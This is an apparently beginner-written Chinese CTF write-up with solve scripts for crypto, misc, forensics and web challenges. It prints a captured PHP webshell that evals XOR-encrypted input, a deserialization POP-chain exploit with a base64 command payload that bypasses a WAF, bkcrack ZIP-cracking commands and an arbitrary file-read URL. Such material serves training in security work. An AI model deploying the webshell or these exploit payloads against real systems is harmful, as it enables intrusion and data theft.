小趴菜刚开始学;当时就会这些题目
Day1
一:crypto
1、小哈斯
思路就是暴力穷举;将所有可能的单个字符一个一个通过sha1加密;然后与目标值进行比较;最后将符合条件的值连接到一起拿到flag
exp:
import hashlib
import string
# 计算给定文本的SHA1哈希值
def sha1_hash(text):
return hashlib.sha1(text.encode('utf-8')).hexdigest()
def compare_sha1_with_file(filename):
# 包含所有可能的单个字符:小写字母、大写字母、数字、特殊符号等
possible_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
# 读取文件中的SHA1哈希值
with open(filename, 'r') as file:
hash_list = file.readlines()
# 用于存放匹配的字符
matched_chars = []
# 遍历文件中的每一个哈希值并与所有字符的SHA1哈希值进行比对
for hash_value in hash_list:
hash_value = hash_value.strip() # 去掉行末换行符
for char in possible_chars:
generated_hash = sha1_hash(char)
if generated_hash == hash_value:
matched_chars.append(char) # 匹配到的字符加入列表
break # 一旦找到匹配就跳出循环
# 将匹配的字符连接成一个字符串
return ''.join(matched_chars)
filename = '1.txt'
# 获取匹配的字符并连接成一个字符串
matched_string = compare_sha1_with_file(filename)
# 输出连接后的字符串
print(f"匹配的字符连接在一起:{matched_string}")
#flag{game_cqb_isis_cxyz}
2、通往哈希的旅程
思路:一个简单的哈希爆破
import hashlib
# 生成从188开头的11位电话号码并计算其SHA-1哈希值
def find_matching_phone_number(target_hash):
for i in range(1000000000): # 从0到999999999生成9位数的号码
phone_number = f"188{i:08d}" # 生成以188开头的11位电话号码
phone_number_hash = hashlib.sha1(phone_number.encode()).hexdigest() # 计算SHA-1哈希值
if phone_number_hash == target_hash:
return phone_number
return None
# 给定的哈希值
target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"
# 查找匹配的电话号码
phone_number = find_matching_phone_number(target_hash)
if phone_number:
print(f"flag{{{phone_number}}}")
else:
print("没有找到匹配的电话号码")
二:web
1、easy_flask
思路:无过滤的SSTI注入;直接用fenjing梭哈
三:Misc
1、简单算数
思路:明文肯定包含flag{};利用异或的思路直接结合chat拿到flag
def xor_decrypt(ciphertext, key):
decrypted_text = []
key_length = len(key)
for i in range(len(ciphertext)):
decrypted_char = chr(ord(ciphertext[i]) ^ ord(key[i % key_length]))
decrypted_text.append(decrypted_char)
return ''.join(decrypted_text)
# 密文
ciphertext = "ys~xdg/m@]mjkz@vl@z~lf>b"
# 假设明文的开头是 "flag{",我们用此信息来推测密钥
known_plaintext = "flag{"
# 获取密文前几个字符与 "flag{" 对应的密钥字符
key_guess = []
for i in range(len(known_plaintext)):
key_char = chr(ord(ciphertext[i]) ^ ord(known_plaintext[i]))
key_guess.append(key_char)
# 生成推测的密钥
key = ''.join(key_guess)
print(f"推测的密钥: {key}")
# 使用推测的密钥解密整个密文
original_text = xor_decrypt(ciphertext, key)
print(f"解密后的明文: {original_text}")
2、压力大写个脚本吧
发现嵌套了100层压缩包;每个压缩包的密码是password_x.txt中内容进行base64解密;然后编写脚本批量解压得到flag-hint.txt;发现密码组合起来是png照片;于是修改脚本提取密码导入到010得到一张二维码;扫码得到flag!
#exp
import zipfile
import base64
import os
from collections import deque
def decode_base64(encoded_string):
"""Base64 解码函数"""
return base64.b64decode(encoded_string).decode('utf-8')
def extract_zip(zip_path, output_dir, password=None):
"""解压缩zip文件"""
if not os.path.exists(zip_path):
print(f"错误: 文件 {zip_path} 不存在!")
return None # 返回None,表示没有找到要解压的文件
try:
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
print(f"尝试解压文件 {zip_path} 使用密码: {password}") # 打印出当前密码
# 如果密码不为空,解压时使用密码
zip_ref.extractall(output_dir, pwd=password.encode() if password else None)
return zip_ref.namelist() # 返回解压后的文件列表
except RuntimeError as e:
print(f"错误: 解压 {zip_path} 时遇到问题: {e}")
return None # 如果解压失败返回None
def process_pass_file(pass_file):
"""读取password_n.txt文件"""
with open(pass_file, 'r') as file:
password = file.read().strip()
return password
def solve_zip_chain(zip_file, output_dir, level=100):
"""递归解压嵌套的zip文件"""
password_queue = deque() # 使用队列来存储密码
passwords = [] # 用于保存解码的密码
current_level = level
while current_level >= 0:
level_dir = os.path.join(output_dir, f'level_{current_level}')
os.makedirs(level_dir, exist_ok=True)
# 解压当前层的zip文件
print(f"解压层级 {current_level} 的文件: {zip_file}")
password = password_queue[-1] if password_queue else None # 获取当前层的密码
extracted_files = extract_zip(zip_file, level_dir, password)
if not extracted_files:
break # 解压失败,跳出
# 获取当前层解压出来的文件
files = os.listdir(level_dir)
password_file = None
next_zip_file = None
# 查找password_n.txt和zip_n.zip文件
for file in files:
if file.endswith('.txt') and file.startswith('password_'):
password_file = os.path.join(level_dir, file)
elif file.endswith('.zip') and file.startswith('zip_'):
next_zip_file = os.path.join(level_dir, file)
# 如果找到password文件,读取并解码密码并放入队列
if password_file:
password = process_pass_file(password_file) # 读取密码
print(f"读取到密码文件 {password_file} 的密码: {password}")
decoded_password = decode_base64(password) # 解码base64密码
print(f"解码后的密码: {decoded_password}") # 打印解码后的密码
password_queue.append(decoded_password) # 将解码后的密码添加到队列
passwords.append(decoded_password) # 保存解码后的密码
# 如果找到下一个zip文件,继续解压
if next_zip_file:
zip_file = next_zip_file # 更新下一个zip文件路径
else:
break # 如果没有下一个zip文件,结束解压
current_level -= 1 # 递减层级
# 将密码从最后到最开始保存到1.txt
with open('1.txt', 'w') as file:
for password in reversed(passwords):
file.write(password + '\n')
def main():
initial_zip = 'zip_100.zip' # 起始的zip文件
output_dir = 'unzipped' # 输出目录
# 创建输出目录
if not os.path.exists(output_dir):
os.makedirs(output_dir)
# 开始解压
solve_zip_chain(initial_zip, output_dir)
if __name__ == "__main__":
main()
3、See anything in these pics?
(1)首先得到一张类似与二维码的图片;题目提示是二维码aztec;使用在线网站识别解密得到压缩包密码
(2)解压得到一张图片;丢到随波逐流工具中
(3)分离得到一张新的png图片;继续丢到随波逐流工具中直接自动修复宽高拿到flag
4、简单镜像提取
思路:流量包追踪http流发现在传输zip压缩吧;提取流量包数据导入010解压得到disk-recovery.img;但是损坏了;需要修复;尝试使用diskgenies恢复!得到一个xls文件
Day2
一:misc
1、Weevil’s Whisper
分析http流量发现匿名函数
<?php
$k="161ebd7d";#密钥
$kh="45089b3446ee";#开始标识符,用于标记加密数据的开始
$kf="4e0d86dbcf92";# 结束标识符,用于标记加密数据的结束
$p="lFDu8RwONqmag5ex";# 加密数据的前缀
function x($t,$k){#加密函数
$c=strlen($k);#获取密钥的长度
$l=strlen($t);#获取输入字符的长度
$o="";#用于存放加密或解密后的结果
for($i=0;$i<$l;){#遍历输入字符串
for($j=0;($j<$c&&$i<$l);$j++,$i++)#遍历密钥
{
$o.=$t[$i]^$k[$j];#执行异或操作
}
}
return $o;#返回加密和解密的字符串
}
#处理输入和加密输出
#file_get_contents("php://input") 读取http原始数据
#preg_match(提取被$kh 和 $kf包围的字符串;将中间的数据提取出来)
#提取成功之后将数据放在m数组中
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();#开始输出缓冲区,捕获之后的所有输出
#对输入中提取出来的数据进行base64解码;然后使用x函数进行解密
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));#解压
$o=@ob_get_contents();#获取执行结果
@ob_end_clean();#清空输出缓冲区
$r=@base64_encode(@x(@gzcompress($o),$k));
#对压缩后的数据进行 XOR 加密;最后将加密后的数据进行 Base64 编码
print("$p$kh$r$kf");
#输出加密结果lFDu8RwONqmag5ex45089b3446ee{加密数据}4e0d86dbcf92
}
根据匿名函数边界解密脚本
import base64
import zlib
# XOR 加密/解密函数(加密和解密使用相同的函数)
def xor_encrypt_decrypt(data, key):
key_length = len(key)
result = bytearray()
i = 0
for byte in data:
result.append(byte ^ key[i % key_length]) # 执行异或操作
i += 1
return bytes(result)
# 解密函数
def decrypt_data(encrypted_data, key):
# 去掉前缀 "lFDu8RwONqmag5ex45089b3446ee" 和后缀 "4e0d86dbcf92"
encrypted_data = encrypted_data.replace("lFDu8RwONqmag5ex45089b3446ee", "").replace("4e0d86dbcf92", "")
# 先进行 Base64 解码
decoded_data = base64.b64decode(encrypted_data)
# 使用 XOR 解密
xor_decrypted_data = xor_encrypt_decrypt(decoded_data, key)
# 解压数据
try:
decompressed_data = zlib.decompress(xor_decrypted_data)
return decompressed_data.decode('utf-8')
except zlib.error as e:
return f"解压失败: {e}"
key = b"161ebd7d"
# 第二个加密数据
encrypted_data_2 = "lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92"
decrypted_2 = decrypt_data(encrypted_data_2, key)
print("\n第二个数据解密结果:")
print(decrypted_2)
一个一个在流浪包里面翻响应的数据;在http 25中找到正确的数据
成功拿到flag
2、NetHttP
(1)wireshark发现RSA私钥;但是被加密了;需要使用openssl解密(需要密码;在http流找到密钥gdkfksy05lx0nv8dl)
解密
(2)通过分析流量发现攻击者才猜flag中的内容;于是提取流量
http contains "Welcome rce"
exp:
import base64
import urllib.parse
import re
def decode_rce_request(request_url):
decoded_url = urllib.parse.unquote(request_url)
if "echo aWYg" in decoded_url and " | base64 -d" in decoded_url:
try:
base64_encoded_str = decoded_url.split("echo aWYg")[1].split(" | base64 -d")[0].strip()
decoded_base64 = base64.b64decode(base64_encoded_str).decode('utf-8')
return decoded_base64
except Exception as e:
print(f"Error decoding request: {e}")
return None
else:
print("Request URL does not contain expected pattern.")
return None
def extract_flag_char_from_command(command):
match = re.search(r"cut -c \d+\) == '([A-Za-z0-9\{\}\+\-])'", command)
if match:
return match.group(1)
else:
print("No valid flag character found in command.")
return None
def process_flag_csv(file_path):
all_flags = []
with open(file_path, 'r') as file:
lines = file.readlines()
for line in lines:
request_url = line.strip()
decoded_command = decode_rce_request(request_url)
if decoded_command:
print(f"Decoded command: {decoded_command}")
flag_char = extract_flag_char_from_command(decoded_command)
if flag_char:
print(f"Found flag character: {flag_char}")
all_flags.append(flag_char)
else:
print("Flag character not found in this command.")
all_flags.append('=')
else:
print("Skipping invalid command.")
all_flags.append('=')
final_flag = ''.join(all_flags)
print(f"Final Flag content: {final_flag}")
return final_flag
file_path = '4.csv'
final_flag = process_flag_csv(file_path)
解密;使用cyber工具进行base64解密
#密文:UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ==
#先进行base64解密;然后RSA解密
flag{343907d2-35a3-4bfe-a5e1-5d6615157851}
二:web
1、easy_ser
思路:简单的一道POP链子的题目;首先看waf(非常简单;看着是过滤了很多内容;实则用base64编码就可以绕过waf);审计代码发现只需要构造这三个类 STU
、SDU
和 CTF
就可以成功!
exp:
<?php
// 触发反序列化漏洞的构造代码
class STU{
public $stu;
}
class SDU{
public $Dazhuan;
}
class CTF{
public $hackman = "PD89YHRhYyAvZipgOw=="; #绕过waf脚本base64加密
#<?=`tac /f*`;
public $filename = 'flag.php';
}
$sdu = new SDU();
$stu = new STU();
$ctf = new CTF();
$sdu->Dazhuan = $stu;
$stu->stu = $ctf;
echo serialize($sdu);
?>
data=O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7
:"hackman";s:20:"PD89YHRhYyAvZipgOw==";s:8:"filename";s:9:"flag2.php";
}}}
base64绕过waf!
生成序列化数据;发送请求
Day3
一:crypto
1、funny_rsa
思路:我太蠢了;当时只想到这个方法
(1)首先利用funny3和funny2计算出n;n = (funny3 + 1025) // funny2
(2)现在知道了n;通过p+q - p*q + random.randint(-1025, +1025)可以暴力枚举出(-1025 +1025所有的可能);又因为phi=(q-1)(p-1)=n-(q+p)+1;就可以枚举出所有phi的可能
(3)知道phi e c n就可计算出hint
(4)根据hint*m=funny2;可以算出m;也就是最终的flag
exp:
# #计算n
# # 给定的值
# funny3 =
# funny2 =
# # 计算 n
# n = (funny3 + 1025) // funny2
# # 输出结果
# print(f"The value of n is: {n}")
# #n=
# # 定义已知的值
# funny1 =
# n =
# # 暴力测试区间内的所有 random_value
# phi_values = []
# for random_value in range(-1025, 1026):
# # 计算 P+q的可能
# p_plus_q = funny1 + n - random_value
# # 计算 φ(n)的值
# phi_n = n - p_plus_q + 1
# # 将结果添加到列表中
# phi_values.append(phi_n)
# file_path = "flag1.txt"
# with open(file_path, 'w') as file:
# for phi in phi_values:
# file.write(f"{phi}\n")
# # 输出文件路径
# print(f"Phi values have been saved to: {file_path}")
# import gmpy2
# from Crypto.Util.number import long_to_bytes
# e = 65537
# c =
# n =
# # 读取 flag1.txt 中的所有 phi 值
# with open('flag1.txt', 'r') as file:
# phi_values = [int(line.strip()) for line in file]
# # 打开 flag2.txt 文件进行写入
# with open('flag2.txt', 'w') as output_file:
# for phi_n in phi_values:
# try:
# # 使用 gmpy2 计算私钥 d
# d = gmpy2.invert(e, phi_n)
# # 使用私钥 d 解密密文
# m = pow(c, d, n)
# # 将解密后的整数转换为字节
# decrypted_message = long_to_bytes(m)
# # 将字节转为可见字符
# decoded_message = ''.join(chr(b) for b in decrypted_message if 32 <= b <= 126) # 只取可打印字符
# # 将解密后的明文写入到 flag2.txt 文件
# output_file.write(decoded_message + '\n')
# except Exception as error:
# pass # 忽略错误,继续尝试下一个 phi_n
# print("解密后的明文已保存到 flag2.txt")
# from Crypto.Util.number import bytes_to_long
# from Crypto.Util.number import long_to_bytes
# # 给定的 result
# result =
# # 给定的 hint
# hint = "Of course, So good, and enjoy the funny number, it is true flag"
# # 计算 bytes_to_long(hint)
# hint_long = bytes_to_long(hint.encode('utf-8'))
# # 计算 m
# m = result // hint_long
# # 将 m 转换为字节
# decrypted_bytes = long_to_bytes(m)
# # 将字节转换为字符串(解码)
# decrypted_message = decrypted_bytes.decode('utf-8', errors='ignore') # 忽略无效字符
# print(decrypted_message)
from Crypto.Util.number import long_to_bytes
# 给定的数字
number = 5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
# 将数字转换为字节
bytes_value = long_to_bytes(number)
# 将字节转换为字符
decoded_message = ''.join(chr(b) for b in bytes_value if 32 <= b <= 126) # 只取可打印字符
print(decoded_message)
二:misc
1、音频的秘密
(1)题目提示是wav隐写为deepsound加密;爆破出密钥为123;得到flag.zip(笑死;发现是0解才给的提示)
(2)字典爆破不出来;7zip打开发现;明显的已知明文攻击;参考文章https://blog.youkuaiyun.com/qq_43007452/article/details/135607308
明文攻击,通常需要拥有一个与压缩包内一样的文件才能完成;但是我们这里利用ZipCrypto Store的特性,只需要知道加密压缩包内容的12个字节;就可以对该压缩包进行明文攻击破解;而该压缩包内的flag.png的12个字节的文件头是固定的与其他任何png文件一样;PNG文件十六进制头:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
使用bkcrack工具进行破解
./bkcrack -C flag.zip -c flag.png -p png_header -o 0
接下来就是利用密钥,把flag.png文件解密
./bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d 1.png
得到1.png;然后工具直接梭哈出flag
2、Infinity
思路:发现多层嵌套文件;并且文件名很奇怪;题目提示:BASE58-Ripple、SM4-ECB;估计是用文件名拼接在一起解密
(1)exp
import zipfile
import os
import rarfile
import tarfile
import py7zr
def extract_zip(zip_path, output_dir):
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(output_dir)
return zip_ref.namelist()
def extract_rar(rar_path, output_dir):
with rarfile.RarFile(rar_path) as rar_ref:
rar_ref.extractall(output_dir)
return rar_ref.namelist()
def extract_tar(tar_path, output_dir):
with tarfile.open(tar_path, 'r') as tar_ref:
tar_ref.extractall(output_dir)
return tar_ref.getnames()
def extract_7z(seven_zip_path, output_dir):
with py7zr.SevenZipFile(seven_zip_path, mode='r') as archive:
archive.extractall(path=output_dir)
return archive.getnames()
def solve_zip_chain(file_path, output_dir):
file_sequence = []
while True:
if file_path.endswith('.zip'):
extracted_files = extract_zip(file_path, output_dir)
elif file_path.endswith('.rar'):
extracted_files = extract_rar(file_path, output_dir)
elif file_path.endswith('.tar'):
extracted_files = extract_tar(file_path, output_dir)
elif file_path.endswith('.7z'):
extracted_files = extract_7z(file_path, output_dir)
if not extracted_files:
break
file_sequence.extend([os.path.splitext(f)[0] for f in extracted_files])
found_next_file = False
for extracted_file in extracted_files:
next_file_path = os.path.join(output_dir, extracted_file)
if next_file_path.endswith(('.zip', '.rar', '.tar', '.7z')):
file_path = next_file_path
found_next_file = True
break
if not found_next_file:
break
final_file_sequence = ''.join(file_sequence[::-1])
return final_file_sequence
def main():
initial_file = "1.zip"
output_dir = "unzipped"
final_sequence = solve_zip_chain(initial_file, output_dir)
print(f"拼接结果:{final_sequence}")
if __name__ == "__main__":
main()
得到提取数据;并且密钥为:Inf1nityIsS0CoOL;解密
(2)问chat这个二维码是哪种类型;给出很多种类;最终尝试为
解密拿到flag!很抽象!
3、web
1、easy_php
(1)点击按钮会下载www.zip文件
漏洞点:
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
#ini_set('open_basedir','/var/www/html/phar2');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
存在该文件的话就输出文件的内容;不存在会提示信息;直接fuzz测试发现根目录存在flag;而且没有任何过滤
?file=/flag